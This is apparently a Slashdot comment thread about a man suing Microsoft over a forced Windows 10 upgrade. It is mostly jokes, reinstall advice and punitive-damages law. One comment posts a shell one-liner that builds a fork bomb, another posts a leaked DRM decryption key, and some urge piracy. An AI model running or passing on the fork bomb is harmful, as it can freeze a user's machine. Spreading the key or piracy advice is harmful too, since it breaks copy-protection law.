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Man, Seeking New Copy of Windows 7 After Forced Windows 10 Upgrade, Sues Microsoft (bleepingcomputer.com)
Catalin Cimpanu, writing for BleepingComputer: An Albuquerque man has sued Microsoft and its CEO -- Satya Nadella -- seeking a fresh copy of Windows 7 or $600 million in damages. According to a civil complaint filed last week on February 14, Frank K. Dickman Jr. of Albuquerque, New Mexico, is suing Microsoft because of a botched forced Windows 10 upgrade. "I own a ASUS 54L laptop computer which has an OEM license for Windows Version 7," Dickman's claim reads. "The computer was upgraded to Windows Version 10 and became non-functional immediately. The upgrade deleted the cached, or backup, version of Windows 7." Dickman says that the laptop's original OEM vendor is "untrustworthy," hence, he cannot obtain a legitimate copy of Windows 7 to downgrade his laptop.
about 0 chances of winning
Like a dick, man.
I'm, split on this. Sure, it's a hugely dick move by Microsoft, but all users know they are opting into an unusually weird set of nasty dick moves, whenever they buy anything that has Microsoft software. There's normal, and then there's Microsoft. This is complaining that shit tastes like .. well, shit. If you didn't want the taste of shit, why did you go to the extra effort to make sure you obtained shit-flavored shit?
We're fresh out of Windows 7 due to high demand, but we still have lots of copies of Vista hanging around. Would you like one? Two? A baker's dozen?
Buddy? Pal?
The angry plaintiff wants a judge to force Microsoft to comply with his request in 30 days or pay up $600 million in damagesâ" albeit the judge may interpret the damages as $6 billion due to a redaction error, as the complaint reads "$6,000,000,000.00 (six hundred million dollars)."
I'd love to know how he came up with either of those numbers as being somehow reasonable. I'm not inclined to defend Microsoft in any situation, but that's a lot of money for a laptop that was bricked by an OS upgrade. There is no mention in there of him losing any data either (or having even checked to see if any data was lost). Yeah it's a massive inconvenience but I have never met anyone who uses an ASUS laptop who will do $600,000,000 worth of work in their lifetimes.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
Guy will be given a new laptop with Win 7, lawyers will make millions.
so is ASUS untrustworthy, or is the shady re-seller that he bought a computer off of untrustworthy?
It puts Microsoft off implementing my MS Insecticide idea.
This is why we need Tort Reform - it would allow megacorps to play amusing practical jokes on people who pirate their stuff and if someone of those people are humiliated or indeed killed, there'd be no lawsuit.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Frank K. Dickman Jr. Elementary. Has a nice ring to it
All mute now since the system is hosed and he has a dysfunctional Windows 10 install. But for the future.
;)
1. Make a set of Recovery CD's
2. Verify you have a good Windows 7 product key on the label stuck to the laptop.
3. If no label with a product key, checked the Control Panel->System to get it.
4. Note to everyone who gets a new windows computer. Make Recovery CD's, record your product key, put everything that came with the computer in a box or manila envelope and file it away. You will need it at some point
You can still get OEM copies of Windows 7 Pro on ebay with product key.
It seems like a judge should be able to send a case like this into small claims court where it belongs.
https://www.microsoft.com/en-u...
I don't respond to AC's.
https://www.microsoft.com/en-u...
I don't respond to AC's.
He almost has a point until he says the OEM was "untrustworthy" if that's the case does that mean he reformatted the PC instantly when he got it and if so what OS did he use?
As much as I'm not a fan of OEM installs ASUS will let you make recovery media or order it if you prefer, that's totally his bad, not Microsoft or Asus.
He may be the last person willing to stand up for his rights.
Why aren't there thousands of others joining his fight?
Over ten years ago I used Win 7 because I never liked to nor trusted the newer versions. Back then, I installed it on my new box with a new key and stopped any updates (kind of a hack). worked OK with a duel boot of Linux. Latter came VM ware, however, never got into it (again trust issues). Now I never use Windows; I'm strictly Linux installed (Mint) and Live CD too.
If your into litigation its your life.
IMHO, every 5 years get a new HDD. Double backup on a stick or the old CD/DVD. The most important thing is your Internet provider. (I'm going to get some rant from programmers - LOL)
This awful example of litigious american society is showing a sincere lack of respect for the company of microsoft on the part of the plaintiff. If he cares so little for them so as to sue them, why not just pirate the software? Everyone is saved tons of time. Hey guy, I got a windows 7 variant you can use. Why is everyone so keen on wasting everyone else's time? Sure, the point of a subpoena is to waste someone's time, but now this waste has leaked over to the "news" and now the potential for time-wastage is exponential, affecting me, ergo its not okay! Let me be the one to say ... fuck dick man.
I wonder *WHY* he thinks ASUS is "untrustworthy", and why he cannot get some sort of restore disk from them.
for the little guy to have a chance, he HAS to do something outrageous; something that might recruit public opinion to work for him; he can't compete with MS's sheer size and resources; how effective would a small claims approach be?
does anyone think MS won't use everything they have to their own advantage?
when you go up against Goliath and you're small, do you don armor and shield and hope it all works out? or maybe try a tactic that increases your chance for success?
standing up for himself, I admire that
Regularly I reload windows 7 and/or windows 10 from upgrades that go sideways for clients. sucks for them.
Though i love Microsoft for the ability to make a living doing this, I would rather be doing other things that are more productive with the operating system like software development and design rather than fixing blown updates.
my 2. correction that will be $150 for my time and effort not $600mil.. doh!
I love the way he says "the original OEM vendor is untrustworthy"... Umm.. Does he think that.. magically.. MS *is* trustworthy???? Geez I HOPE not.. MS deserves to get its collective ass kicked HARD for the nasty malware-style way it forced 10 onto systems, BUT this guy will NEVER get anywhere close to the figure he asks for... He's gonna be lucky to get a copy of Win7 out of the suit...
THANK YOU, Edward Snowden!! Americans owe you a debt of gratitude (whether they know it or not..)
If this laptop was worth anywhere near that amount, he should surely have a full disk backup running every hour. Just spin up a virtual machine of the laptop from the backup image, should take about 10 minutes. He can work off the VM from any computer with an RDP client to get him through the day. Then restore the backup to the laptop, should take a few hours depending on size and speed.
This idiot will spend more paying a lawyer to fight Microsoft and lose then just ordering a copy of Windows 7 pro still available and installing it. Not like your going to teach Microsoft a lesson or anything.
If Microsoft automatically upgraded his OS to Windows 10 w/o asking.
Otherwise, it doesn't look so good. Why did he choose ASUS if he thought they weren't reliable? Should've done his homework first.
Based on these numbers, I think I may be owed $1.3 trillion for Windows Vista.
My machine used to run Windows 7, and I had to revert in order to use an application. Unfortunately, I did not have the original installation CD/DVD. Microsoft used to offer the Iso files,but no longer do. So I downloaded the torrent which can be checksummed against the original MS iso.
https://www.howtogeek.com/186775/how-to-download-windows-7-8-and-8.1-installation-media-legally/
https://www.pcsteps.com/45-download-windows-7-iso-legally-free-digital-river/
http://mirror.corenoc.de/digitalrivercontent.net/
The keys on the side of the computer worked perfectly, with registration occurring over the phone.
In the time that some idiot took to file a lawsuit, I legally reinstalled Windows 7.
Rule 1: Backup
Rule 2: BACKUP
Rule 3: See Rules 1 & 2
So, when did your data become important to you, before or after you lost it?
If he had anything important and didn't have it backed up, he's an idiot.
There's no way his damages come anywhere near $600 million, unless he's utterly incompetent, in which case, he deserves to lose it.
The unreliability of his OEM isn't Microsofts fault.
Most computer OEMs don't provide disks for you for the installed software. Instead they use a legal loophole and when you first run the computer it prompts you to make a set of backup/restore disks. Those will essentially be an image of the drive and can be used to restore the computer if you have to nuke & pave. Guess he neglected to do that, or lost his disks. Whichever case is correct, it's still his fault, and not that of Microsoft or the OEM.
It's not like the increasing persistence about upgrading people wasn't known, and if he still didn't have a backup, he's an incompetent idiot.
Yes, Microsoft shouldn't be forcing people to upgrade, but that's a different lawsuit, and I believe it's a class action as well. (It is.)
The laptop is now "non-functional". How about letting a real tech see about that. You never know, I've "fixed" machines by booting into safemode and disabling the old dos crap they had been forcing to run for ages.
No company is going to support the old stuff forever, not even Microsoft, nor should anyone expect them too. Windows 7 mainstream support ended a couple of years ago, and when it comes to software, life cycles are fast and short compared to other things in the world. The saying is that software ages 10 times faster than the rest of the world.
It's still possible to buy Windows 7. Suing Microsoft for a copy is stupid. It would be cheaper for him to go buy a new copy than to file the lawsuit. It would also seem to be cheaper for Microsoft to capitulate and just send him one, but that would potentially set a bad precedent that could get really expensive and embarrassing for them, so there's no way in hell they'll do that.
That guy is an idiot as he doesn't know the difference between "$6,000,000,000.00" and "six hundred million dollars". Sure, you could claim it's a simple typo, but it's got the correct comma separations for six billion, and if you don't correct mistakes like that before sending it to a judge, you can expect to get slapped down by the judge and forced to either go away, or start over from scratch without the screwups.
We all hate it when our computers go chips up, but it happens, and we have to be prepared for it or it's our fault, like it or not.
Aside from the absurdity of his claim, he could just get a Windows 7 ISO from here: https://www.microsoft.com/en-g...
On that model there's a full, unused license COA for Windows 7 under the battery or in the center of the bottom plate. I guess he didn't check.
re-installing Windows 7 using a regular install DVD and an OEM key is that the online validation never works. You have to use the phone validation. It is tedious, but always works.
Why didn't he create a DVD or USB of the Factory Reset when the system was brand new?
The laptop prompted him to do so, the user manual told him to do so...
Free
Of course, no one ever does. And then whines when the drive dies, taking the reset partition and OS with it.
Don't see why this is worthy to be posted here.
...I would sue for the cost of a new laptop plus a couple thousands in damages and legal fees.
600 million?!....pffhpppfhhppppfppfhhHAHAHAHAHAHAHAHAHAHAHAHAAHAHAHAHAHAHAHAHAHAHA!!!!!
I bet he wants Microsoft to throw in a unicorn and a magic carpet to fly on too!
I have Windows 8.1 at work and Windows 10 at home and I hate them both so much. The disk activity on these two versions is insane. Especially at work, I spend so much time looking at the screen waiting for this abomination do whatever it is it does in the background. Man I wish we could have just stayed in the XP era. That's where the peaked and it's been a downhill rolling tire fire ever since. This same principle applies to all of the software I depend on (AutoCAD, Office primarily). They all used to work so smooth in the early 2000s era and now, just like everything else in the world, nothing works.
Using these numbers, I estimate I am owed $1.3 trillion for Windows Vista.
When Linux was force upgraded on my laptop, and ...
BAHAHAHA
yeah, couldn't complete that with a straight face. Sorry.
Forced upgrade? Holy crap, am I glad that I got off the Microsoft train over a decade ago.
That train went straight to shit towne.
This is just another reason I've moved so much to open source operating systems and software. I don't currently have my own business, but I have been considering it for a little while. One thing I do know is that I will run it on open source software. I'm also not going to put my data on any hosted cloud service.
The installer keeps the old Windows 7 install backed up locally so it can be restored if there's a problem with the upgrade. AFAIK there are only a few cases where it is removed::
1. You run Disk Cleanup inside of the upgraded Windows and remove the data.
2.. After some period of time the backup is removed as it is presumed the upgrade is working for the you, as you have not tried to restore the backup but have been using the upgraded PC.
3. You reinstall Windows 10, whereupon it, again, backs up your current Windows install to the backup folder, blowing away whatever is already there (found this out myself). I know this applies to Windows 10 major updates to Windows 10, I assume it also applies to upgrading from Windows 7 but I am not 100% sure.
In the first two cases, your Windows MUST be functional in order for those deletions to occur in the first place. In the latter, you're now taking technical steps to resolve your problem outside of what Microsoft would recommend you do (restore from the backup it made) and while I suppose there's some wiggle room as the replacement of the backup might be unexpected if you don't think it through, I think it's reasonable to say you've got to take some responsibility for monkeying with things trying to fix it but making it worse.
bitch bitch bitch it runs slowly cause you are stuck in the past, sure windows 10 will run on your pentium 4 extreme, and sure its going to be slow
now fuck off
-Microsoft
I dislike Microsoft as much as anybody, but this guy is just being a douche-nozzle. You know, pirate a copy like everybody else.
He got Dicked man
There won't even be a hearing. The guy sued under the 14th amendment, which governs the relationship between the citizens and the state, not among the citizens themselves. He ought to have sued under the first sale doctrine, and then he would have at least gotten a hearing before it was dismissed.
"The fault, dear Brutus, is not in our stars. But in our OEM's and our VAR's."
Nice try, but the upgrade does not delete the Windows 7 installation.
Kriston
I'm guessing you hadn't yet had your morning coffee when you read GP and posted that? Let me quote for you the post you replied to:
--
Damages in U.S. civil suits are broken down into two parts:
Compensatory - to compensate the victim for financial losses suffered.
Punitive - to discourage the perpetrator from engaging in improper or illegal activities in the future.
--
"The award that the plaintiff seeks should have some sort of reflection on the actual damages." - that's the first half. If someone causes damage, they need to compensate the person who suffered the damage. If someone dents your car, they need to pay to have it fixed (via insurance, typically).
If someone *intentionally* does an unlawful act, *knowing* that it will likely cause damage, punishment is often in order. If someone takes a sledgehammer to your car on purpose, having them pay to have it fixed may not be quite enough.
> What if the product had been BeOS? ... Those companies are much smaller (or extinct).
If the owner of BeOS (Access Co.) intentionally broke the law and caused damage to your system, they could be punished harshly with a $1 million award. That would be roughly equal to their profit last year. $1 million wouldn't punish Microsoft.
I wish the U.S. had a functional government. Microsoft is EXTRAORDINARILY ABUSIVE, in my opinion, and nothing has been done to stop the abuse.
Mod parent up !!!
its easy enough to look online for a install disk that has no cracks installed then use your key that printed on the machine or embedded in efi. its not Microsoft issue that you can't figure this out.
1. Download the Windows 7 ISO (https://www.microsoft.com/en-ca/software-download/windows7)
2. Install using the license key that's on the sticker on the bottom of your system.
3. Profit!
"Grab them by the pussy" -- President of the United States of America
" get people to take up that offer to buy the latest Microsoft OS."
The problem is that MS doesn't really want to sell their software. What they want to sell is user metrics and their software as a service. Their real money made is enterprise service contracts, they're moving home users to the model (and most don't even realize it).
09 F9 11 02 9D 74 E3 5B - D8 41 56 C5 63 56 88 C0 45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
I built an early Windows XP computer, circa 2001-2. I bought Windows XP with a motherboard or something from a white box assembler. MS accepted it as a real, legitimate copy, and I was registered for several years. Then, one AM I woke up to find a message, a full screen message, not an email, that my copy was fake, or no legitimate. I was able to say, no thanks, and keep it working. But I could not longer install upgrade packs, including security upgrades. (Have they ever of heard immunity?).
Eventually a friend found an upgraded version. I was naive the time about such issues, but looking back I realized my upgrades was some grey market--I'm not asking any questions.
Raise you hand if you've had similar problems with Microsoft...
hmm. Almost 94%!
He did not want to add lawyer's fees; that gesture would indeed prove that he is a pest.
Verizon pushes OTA Android update to Samsung Galaxy owners. Man decides new update makes phone too slow. Sues Google for $600 million or bone stock Android ROM? Justifies law suit because he does not trust Samsung and therefore the problem is with Google?
How does nonsense like this even gain traction in the first place?
When you don't know anything about a topic, why bother making stuff up, imagining what you think might be true, and posting it?
- TXO Production Corp. v. Alliance Resources Corp -
SCOTUS affirmed an award of $10 million in punitive damages. The compensatory damages were $19,000.
- Phillip Morris USA vs Williams -
$821,485.50 in compensatory damages and $79.5 million in punitive damages.
-- Federal jury instructions, telling the jury how to decide on the amount of punitive damages --
In considering the amount of any punitive damages, consider the degree of reprehensibility of the defendantâ(TM)s conduct [, including whether the conduct that harmed the plaintiff was particularly reprehensible because it also caused actual harm or posed a substantial risk of harm to people who are not parties to this case.
Certain narrowly defined cases have limits. For example, Year 2000 bug actions against *individuals* (not corporations) are limited to treble damages. (15 U.S. Code  6604)
In most states, punitive damages are a common law matter, controlled by precedent court cases (not statues passed by the legistlature.) SCOTUS has ruled that ridiculously high damages can violate the 14th amendment, while refusing to define what "too high" is across the board. They've indicated that in *most cases*, punitive damages more than ten times the amount of compensatory damages would raise 14th amendment issues.
A *minority* of states cap punitive damages by statute. Texas, for example, uses a formula of economic and non-economic compensatory damages which results in a punitive max of three times the compensatory. Most states, however, do not.
Seriously, that's his name?
In order to sue for damages, there has to actually have been damages. In order for this guy to have any kind of case at all, he'd have to be able to demonstrate that he lost $600 million as a direct result of MS forcing the upgrade.
You can't just sue for "damages" because you think someone did something wrong and you're annoyed. There has to have actually been damage.
please let him win, please let him win, please let him win...
......here is a page full of links from Newegg to buy copies of Windows 7 from OEM version to full. https://www.newegg.com/Product...
You're messin' with my Zen Thing, man.....
Based on your last sentence, it's sounds like you could have started your response with that, so that your attack on him doesn't sort of finish with basically saying, "you'd be right in Texas, but not everywhere else". The person seems to have some idea, just not informed outside of Texas. I don't care enough to find out where this was filed, but seems like it should matter to your discussion when you're correcting someone that may be right.
The first words of TFS are "An Albuquerque man has sued Microsoft and its CEO -- Satya Nadella -- seeking a fresh copy of Windows 7 or $600 million in damages". So clearly not Texas.
In fact this is a federal suit (interstate commerce), so federal rules apply and I quoted the federal jury instruction for him.
I am surprised there wasn't a class action lawsuit in the U.S. Microsoft forced the Windows 10 upgrade on some PCs - sometimes rebooting right in the middle of the user doing work. They also put the upgrade on systems that weren't qualified by the manufacturer for Windows 10.
What gives Microsoft the right to mess with a users computer when they have no idea if the computer is supported or if there is any software on the system that may not be compatible?
Some users may have been aware enough to go back to Windows 7, which wasn't intuitive or obvious. I still see systems that try to upgrade to Windows 10 - but fails.
I feel I deserve that after trying out windows fucking 10 on some new hardware.
Windows 10 is one of the worst designed pieces of shut after System fucking d.
I wish Microsoft and nardella would eat a bucket full of warm shit. And Lennart fucking pottering. Purely for the bullshit they have inflicted upon decent hard working it folk. Which neither nardella or harry fucking pottering are.
On first start of Win10 after 'upgrade', rename Windows.old to Windows.bak. Months later if you're happy (most of my cousins are, and they give me fewer problems once they're on properly-deloused Win10), delete that big folder to save space.
about 99.99% chance of getting 5000$ for himself and 20000$ for his lawer , by out of court deal.
Linux, the Jill Stein of desktop operating systems
If you are asking for â600 million, then the judge takes that number and calculates the fees for the court and for each side's lawyer. Let's say one percent each. So this costs you â6 million for the court, and for each set of lawyers.
The cost is paid by the loser. If you were awarded â12 million, that would be two percent of what you asked for, so you pay 98% of the total cost and end up with 6 million debt.
On the other hand, this also can force defendants to offer payment. If you sue me for $10,000 and I think I owe you $8,000 then I can offer $0 and will probably pay 80% of the cost for a $10,000 case. Or I could offer to pay $8,000 and will pay a much lower percentage of the cost of a $2,000 case; if I offer $8,000 and the judge says $8,000 then I won the case and pay no cost.
and you're a dink for using 'mute'. Yes, it's MOOT Shaming.
My dad had a system downgrade to Windows 10 on him. He didn't want it to. I didn't know until it was too late to go back. He had a nice flatbed scanner that would not work with Win10, as there are no new drivers for it.
He needs to upgrade both laptop AND OS.
I'm not your buddy, guy!
In Poland, to sue somebody, I have to pay 5% of the lawsuit value to the court. Up front. If I win, the losing side will return it. But if I lose - I lose. Having to pay 30 megadollars stops people from using such unreasonable amounts.